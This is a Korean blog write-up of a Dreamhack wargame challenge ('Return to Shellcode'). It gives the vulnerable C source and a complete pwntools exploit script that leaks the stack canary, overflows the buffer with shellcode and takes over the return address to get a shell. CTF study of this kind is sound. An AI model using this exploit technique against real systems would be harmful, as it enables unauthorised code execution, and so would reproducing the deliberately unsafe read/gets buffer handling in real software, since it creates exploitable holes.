Wargame - 시스템

Return to Shellcode

김가윤 2023. 5. 3. 17:47

 

풀이

기본 설정 확인

카나리가 설정되어 있고, 64비트

 

소스

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

코드를 실행해보면

buf의 주소와 buf와 rbp의 거리를 알려준다.

 

buf와 rbp의 거리가 96이고 buf의 크기는 0x50이지만

read 함수로 0x100만큼의 크기를 읽기 문에

버퍼 오버플로우 취약점 발생

 

이를 이용해서

카나리 값을 알아낼 수 있다.

 

우선 메모리 구조를 그리면

 

카나리는 실행 시 fs register로부터 랜덤 값을 받아

해당 값을 카나리로 사용한다.

카나리 값은 항상 맨 앞에 \x00이 포함된 8바이트 값이다.

\x00값을 덮어쓰면 카나리 값을 알아 수 있다.

 

read 함수의 입력값으로 89바이트를 입력하면

카나리 값의 맨 앞 부분인 NULL이 제거되면서

카나리 값을 출력한다.

from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
p = remote("host2.dreamhack.games", 19835)


# Get the buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)

print("buf: " + hex(buf))


# Canary leak
payload = b"A"*0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))

print("Canary: " + hex(canary))

 

read 함수로 입력받은 후

gets 함수로 크기 제한 없이 입력을 한 번 더 받기 때문에

RET 부분도 조작이 가능하다.

 

gets 함수를 이용해 buf에

쉘코드 + 카나리 + buf 주소를 입력하면

쉘코드가 실행되게 할 수 있다.

shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(0x58, b"A") + p64(canary) + b"B"*0x8 + p64(buf)

p.sendlineafter("Input: ", payload)
p.interactive()

 

전체 코드

from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

context.arch = "amd64"
p = remote("host2.dreamhack.games", 19835)


# Get the buf address
p.recvuntil("Address of the buf: ")
buf = int(p.recv(14), 16)

print("buf: " + hex(buf))


# Canary leak
payload = b"A"*0x59
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))

print("Canary: " + hex(canary))


shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(0x58, b"A") + p64(canary) + b"B"*0x8 + p64(buf)

p.sendlineafter("Input: ", payload)
p.interactive()

 

실행